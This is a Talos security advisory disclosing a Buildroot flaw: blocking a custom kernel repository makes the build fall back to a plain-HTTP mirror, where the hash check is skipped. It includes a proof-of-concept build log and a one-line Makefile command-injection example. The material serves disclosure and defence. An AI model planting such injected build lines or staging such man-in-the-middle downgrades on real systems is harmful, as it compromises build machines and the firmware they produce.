Talos Vulnerability Report

TALOS-2023-1845

Buildroot BR_NO_CHECK_HASH_FOR data integrity vulnerability

December 5, 2023
CVE Number

CVE-2023-43608

SUMMARY

A data integrity vulnerability exists in the BR_NO_CHECK_HASH_FOR functionality of Buildroot 2023.08.1 and dev commit 622698d7847. A specially crafted man-in-the-middle attack can lead to arbitrary command execution in the builder.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Buildroot 2023.08.1
Buildroot dev commit 622698d7847

PRODUCT URLS

Buildroot - https://www.buildroot.org/

CVSSv3 SCORE

8.1 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-494 - Download of Code Without Integrity Check

DETAILS

Buildroot is a tool that automates builds of Linux environments for embedded systems. It supports cross-compiling for multiple target platforms and allows for building a cross-compilation toolchain, Linux kernel image, boot loader, root file system and various utilities.

When building a package, Buildroot executes the corresponding Makefile. Source code is typically downloaded from the internet for most packages, while some are included within Buildroot. Upon downloading the source, Buildroot verifies the integrity of the package using a hash file, extracts the sources, applies any necessary patches and then proceeds with the actual building process.

To describe the logic in detail, let’s use the strace package as a simple example:

In package/strace/strace.mk:

STRACE_VERSION = 6.5
STRACE_SOURCE = strace-$(STRACE_VERSION).tar.xz
STRACE_SITE = https://github.com/strace/strace/releases/download/v$(STRACE_VERSION)
...
$(eval $(autotools-package))

In package/strace/strace.hash:

# Locally calculated after checking signature with RSA key 0xA8041FA839E16E36
# https://strace.io/files/6.5/strace-6.5.tar.xz.asc
sha256  dfb051702389e1979a151892b5901afc9e93bbc1c70d84c906ade3224ca91980  strace-6.5.tar.xz
sha256  d92f973d08c8466993efff1e500453add0c038c20b4d2cbce3297938a296aea9  COPYING
sha256  7c379436436a562834aa7d2f5dcae1f80a25230fa74201046ca1fba4367d39aa  LGPL-2.1-or-later

STRACE_SITE defines the external site to fetch the sources from and STRACE_SOURCE defines the actual package name to retrieve. The autotools-package is then evaluated to interpret the various <PACKAGE_NAME>_<VARIABLE> definitions defined in the package .mk and generate all the Makefiles rules needed to build the package.

In the .hash file, we can see sha256 hashes for any file that is being downloaded externally so their integrity can be verified after download.

When the strace package is selected in the config, calling make strace-source will download the package sources. The download function is defined in package/pkg-download.mk, which relays the request to the support/download/dl-wrapper shell script.
In the case of strace, dl-wrapper is called like this:

support/download/dl-wrapper
    -c 6.4
    -d /opt/buildroot/dl/strace
    -D /opt/buildroot/dl
    -f strace-6.4.tar.xz
    -H package/strace//strace.hash
    -n strace-6.4
    -N strace
    -o /opt/buildroot/dl/strace/strace-6.4.tar.xz
    -u https+https://github.com/strace/strace/releases/download/v6.4
    -u http|urlencode+http://sources.buildroot.net/strace
    -u http|urlencode+http://sources.buildroot.net

Interesting parameters to note:

  • -H defines the .hash file for integrity checks
  • -u can be specified multiple times, to provide a fallback in case the primary URL is not available

The http://sources.buildroot.net URLs have been passed as fallback because they correspond to the default value of BR2_BACKUP_SITE. This behavior is enabled by default. However, it is possible to set BR2_PRIMARY_SITE_ONLY to disable it and only allow downloads from the primary resource.

Inside dl-wrapper:

    ...
    download_and_check=0
    rc=1
[1] for uri in "${uris[@]}"; do
        backend_urlencode="${uri%%+*}"
        backend="${backend_urlencode%|*}"
        case "${backend}" in
            git|svn|cvs|bzr|file|scp|hg|sftp) ;;
            *) backend="wget" ;;
        esac
        uri=${uri#*+}

        ...
[2]     if ! "${OLDPWD}/support/download/${backend}" \
                $([ -n "${urlencode}" ] && printf %s '-e') \
                -c "${cset}" \
                -d "${dl_dir}" \
                -n "${raw_base_name}" \
                -N "${base_name}" \
                -f "${filename}" \
                -u "${uri}" \
                -o "${tmpf}" \
                ${quiet} ${large_file} ${recurse} -- "${@}"
        then
            ...
            continue
        fi

        ...
        # Check if the downloaded file is sane, and matches the stored hashes
        # for that file
[3]     if support/download/check-hash ${quiet} "${hfile}" "${tmpf}" "${output##*/}"; then
            rc=0
        else
            if [ ${?} -ne 3 ]; then
                rm -rf "${tmpd}"
                continue
            fi

            # the hash file exists and there was no hash to check the file
            # against
            rc=1
        fi
[4]     download_and_check=1
        break
    done

    # We tried every URI possible, none seems to work or to check against the
    # available hash. *ABORT MISSION*
[5] if [ "${download_and_check}" -eq 0 ]; then
        rm -rf "${tmpd}"
        exit 1
    fi

For each URL (specified via -u) [1], the appropriate backend is used. In the case of strace the backend is simply wget, so wget is going to be called via the support/download/wget wrapper [2].

After the file is downloaded, the hash is checked (file is specified via -H) by calling check-hash [3]. If check-hash has a 0 exit status, rc is set to 0, download_and_check [4, 5] is set to 1 to indicate success and the loop ends.

Let’s see how check-hash is implemented.

    ...
    # Does the hash-file exist?
[6] if [ ! -f "${h_file}" ]; then
        printf "WARNING: no hash file for %s\n" "${base}" >&2
        exit 0
    fi

    # Check one hash for a file
    # $1: algo hash
    # $2: known hash
    # $3: file (full path)
    check_one_hash() {
        ... # exits with error code if the hash doesn't match
    }

    # Do we know one or more hashes for that file?
    nb_checks=0
    while read t h f; do
        case "${t}" in
            ''|'#'*)
                # Skip comments and empty lines
                continue
                ;;
            *)
                if [ "${f}" = "${base}" ]; then
[7]                 check_one_hash "${t}" "${h}" "${file}"
                    : $((nb_checks++))
                fi
                ;;
        esac
    done <"${h_file}"

[8] if [ ${nb_checks} -eq 0 ]; then
[9]     case " ${BR_NO_CHECK_HASH_FOR} " in
        *" ${base} "*)
            # File explicitly has no hash
            exit 0
            ;;
        esac
        printf "ERROR: No hash found for %s\n" "${base}" >&2
        exit 3
    fi

For each hash line in the .hash file, check_one_hash is called [7]. If the hash doesn’t match, check_one_hash will exit with an error code. Otherwise nb_checks is incremented to indicate one successful check. If there’s no entry in the .hash file for the specified input file to check, the check at [8] will return an error unless BR_NO_CHECK_HASH_FOR [9] contains this specific file, meaning that the file is excluded from hash checks.

In total, there are 3 ways for check-hash to return 0 (success):

  1. no .hash file exists for the package [6]
  2. the $file’s hash matches the definition in the .hash file [7]
  3. the $file is not present in the .hash file and BR_NO_CHECK_HASH_FOR contains the base name for the package (explicitly skipping checks) [9]

Option 2 is what we expect to reach most of the time.

In this advisory, we focus on Option 3. This seems to be commonly used to skip integrity checks for resources that can’t be easily hashed (for example, developement resources that change often). It is also used when building specific versions of a package, for which hashes may not be available in Buildroot’s sources.

For example, the Linux Kernel Buildroot Makefile (linux/linux.mk):

...
ifeq ($(BR2_LINUX_KERNEL)$(BR2_LINUX_KERNEL_LATEST_VERSION),y)
    BR_NO_CHECK_HASH_FOR += $(LINUX_SOURCE)
endif
...

If both BR2_LINUX_KERNEL and BR2_LINUX_KERNEL_LATEST_VERSION where enabled, the result of $(BR2_LINUX_KERNEL)$(BR2_LINUX_KERNEL_LATEST_VERSION) would be yy.
So, the ifeq checks if BR2_LINUX_KERNEL_LATEST_VERSION is NOT selected, in which case it adds linux-<version>-br1.tar.gz to the BR_NO_CHECK_HASH_FOR variable.

This is, however, problematic in some setups. For example, consider this Buildroot minimal configuration:

BR2_LINUX_KERNEL=y
BR2_LINUX_KERNEL_CUSTOM_GIT=y
BR2_LINUX_KERNEL_CUSTOM_REPO_URL="https://192.168.50.50"
BR2_LINUX_KERNEL_CUSTOM_REPO_VERSION="123"

This defines a custom repository for fetching the Linux Kernel, so it may be important to only fetch the sources from that repository, for Linux specifically. This will work fine the majority of the time. However, if an attacker is able to drop connections towards 192.168.50.50, this will make the if condition at [2] fail, and the loop at [1] will perform the download using the next $uri. The next $uri is going to be http://sources.buildroot.net/linux/linux-123-br1.tar.gz, because of the default BR2_BACKUP_SITE variable. This will lead to downloading Linux Kernel sources via plain HTTP without performing any hash checks.

Since the Linux Kernel can ship patch files or Makefiles, by supplying a compromised source package, an attacker would be able to execute arbitrary commands in the builder. As a direct consequence, an attacker could then also tamper with any file generated for Buildroot’s targets and hosts.
For example, it’s enough to provide a Makefile with the following command:

_ := $(shell id >> /injected)

Or insert such a line in a .patch file, which would allow modification of any package within Buildroot during the build process.

Exploit Proof of Concept

This proof-of-concept assumes that an attacker is MITM-ing the network and dropping requests to 192.168.50.50, while at the same time serving any .tar.gz file requested via port 80 with a malicious version:

$ make source
/usr/bin/make -j1  O=/tmp/builddir HOSTCC="/usr/bin/gcc" HOSTCXX="/usr/bin/g++" syncconfig
mkdir -p /tmp/builddir/build/buildroot-config/lxdialog
PKG_CONFIG_PATH="" /usr/bin/make CC="/usr/bin/gcc" HOSTCC="/usr/bin/gcc" \
    obj=/tmp/builddir/build/buildroot-config -C support/kconfig -f Makefile.br conf
/usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"  -MM *.c > /tmp/builddir/build/buildroot-config/.depend 2>/dev/null || :
/usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"   -c conf.c -o /tmp/builddir/build/buildroot-config/conf.o
/usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"  -I. -c /tmp/builddir/build/buildroot-config/zconf.tab.c -o /tmp/builddir/build/buildroot-config/zconf.tab.o
/usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"   /tmp/builddir/build/buildroot-config/conf.o /tmp/builddir/build/buildroot-config/zconf.tab.o  -o /tmp/builddir/build/buildroot-config/conf
rm /tmp/builddir/build/buildroot-config/zconf.tab.c
  GEN     /tmp/builddir/Makefile
gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
glibc-2.38-27-g750a45a783906a19591fb8ff6b7841470f1f5701.tar.gz: OK (sha256: fd991e43997ff6e4994264c3cbc23fa87fa28b1b3c446eda8fc2d1d3834a2cfb)
bison-3.8.2.tar.xz: OK (sha256: 9bba0214ccf7f1079c5d59210045227bcf619519840ebfa80cd3849cff5a5bf2)
m4-1.4.19.tar.xz: OK (sha256: 63aede5c6d33b6d9b13511cd0be2cac046f2e70fd0a07aa9573a04a82783af96)
gawk-5.2.2.tar.xz: OK (sha256: 3c1fce1446b4cbee1cd273bd7ec64bc87d89f61537471cd3e05e33a965a250e9)
gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
binutils-2.40.tar.xz: OK (sha512: a37e042523bc46494d99d5637c3f3d8f9956d9477b748b3b1f6d7dfbb8d968ed52c932e88a4e946c6f77b8f48f1e1b360ca54c3d298f17193f3b4963472f6925)
gmp-6.3.0.tar.xz: OK (sha256: a3c2b80201b89e68616f4ad30bc66aee4927c3ce50e33929ca819d5c43538898)
mpc-1.2.1.tar.gz: OK (sha256: 17503d2c395dfcf106b622dc142683c1199431d095367c6aacba6eec30340459)
mpfr-4.1.1.tar.xz: OK (sha256: ffd195bd567dbaffc3b98b23fd00aad0537680c9896171e44fe3ff79e28ac33d)
>>> linux-headers 123 Downloading
GIT_DIR=/opt/buildroot/dl/linux/git/.git git init .
hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint:
hint:   git config --global init.defaultBranch <name>
hint:
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint:
hint:   git branch -m <name>
Initialized empty Git repository in /opt/buildroot/dl/linux/git/.git/
GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote add origin 'https://192.168.50.50'
GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote set-url origin 'https://192.168.50.50'
Fetching all references
GIT_DIR=/opt/buildroot/dl/linux/git/.git git fetch origin
fatal: unable to access 'https://192.168.50.50/': Failed to connect to 192.168.50.50 port 443 after 0 ms: Connection refused
Detected a corrupted git cache.
Removing it and starting afresh.
GIT_DIR=/opt/buildroot/dl/linux/git/.git git init .
hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint:
hint:   git config --global init.defaultBranch <name>
hint:
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint:
hint:   git branch -m <name>
Initialized empty Git repository in /opt/buildroot/dl/linux/git/.git/
GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote add origin 'https://192.168.50.50'
GIT_DIR=/opt/buildroot/dl/linux/git/.git git remote set-url origin 'https://192.168.50.50'
Fetching all references
GIT_DIR=/opt/buildroot/dl/linux/git/.git git fetch origin
fatal: unable to access 'https://192.168.50.50/': Failed to connect to 192.168.50.50 port 443 after 0 ms: Connection refused
Detected a corrupted git cache.
This is the second time in a row; bailing out
wget --passive-ftp -nd -t 3 -O '/tmp/builddir/build/.linux-123-br1.tar.gz.OBKF3J/output' 'http://sources.buildroot.net/linux/linux-123-br1.tar.gz'
--2023-10-11 16:16:26--  http://sources.buildroot.net/linux/linux-123-br1.tar.gz
Resolving sources.buildroot.net (sources.buildroot.net)... 104.26.0.37, 172.67.72.56, 104.26.1.37
Connecting to sources.buildroot.net (sources.buildroot.net)|104.26.0.37|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/x-xz]
Saving to: '/tmp/builddir/build/.linux-123-br1.tar.gz.OBKF3J/output'

/tmp/builddir/build/.linux-123-br1.tar.gz.OB     [ <=>                                                                                        ]     160  --.-KB/s    in 0s

2023-10-11 16:16:26 (24.1 MB/s) - '/tmp/builddir/build/.linux-123-br1.tar.gz.OBKF3J/output' saved [160]

busybox-1.36.1.tar.bz2: OK (sha256: b8cc24c9574d809e7279c3be349795c5d5ceb6fdf19ca709f80cde50e47de314)
kmod-31.tar.xz: OK (sha256: f5a6949043cc72c001b728d8c218609c5a15f3c33d75614b78c79418fcf00d80)
pkgconf-1.6.3.tar.xz: OK (sha256: 61f0b31b0d5ea0e862b454a80c170f57bad47879c0c42bd8de89200ff62ea210)
patchelf-0.13.tar.bz2: OK (sha256: 4c7ed4bcfc1a114d6286e4a0d3c1a90db147a4c3adda1814ee0eee0f9ee917ed)
flex-2.6.4.tar.gz: OK (sha256: e87aae032bf07c26f85ac0ed3250998c37621d95f8bd748b31f15b33c45ee995)
autoconf-2.71.tar.xz: OK (sha256: f14c83cfebcc9427f2c3cea7258bd90df972d92eb26752da4ddad81c87a0faa4)
libtool-2.4.6.tar.xz: OK (sha256: 7c87a8c2c8c0fc9cd5019e402bed4292462d00a718a7cd5f11218153bf28b26f)
automake-1.16.5.tar.xz: OK (sha256: f01d58cd6d9d77fbdca9eb4bbd5ead1988228fdb73d6f7a201f5f8d6b118b469)
gettext-tiny-0.3.2.tar.gz: OK (sha256: 29cc165e27e83d2bb3760118c2368eadab550830d962d758e51bd36eb860f383)
gettext-0.22.2.tar.xz: OK (sha256: 4c82fbfe5e53d71a97c634aa98a898b9da807b08b27410f6a4641e8bb44dc4b2)
TIMELINE

2023-10-25 - Vendor Disclosure
2023-12-04 - Vendor Patch Release
2023-12-05 - Public Release

Credit

Discovered by Claudio Bozzato and Francesco Benvenuto of Cisco Talos.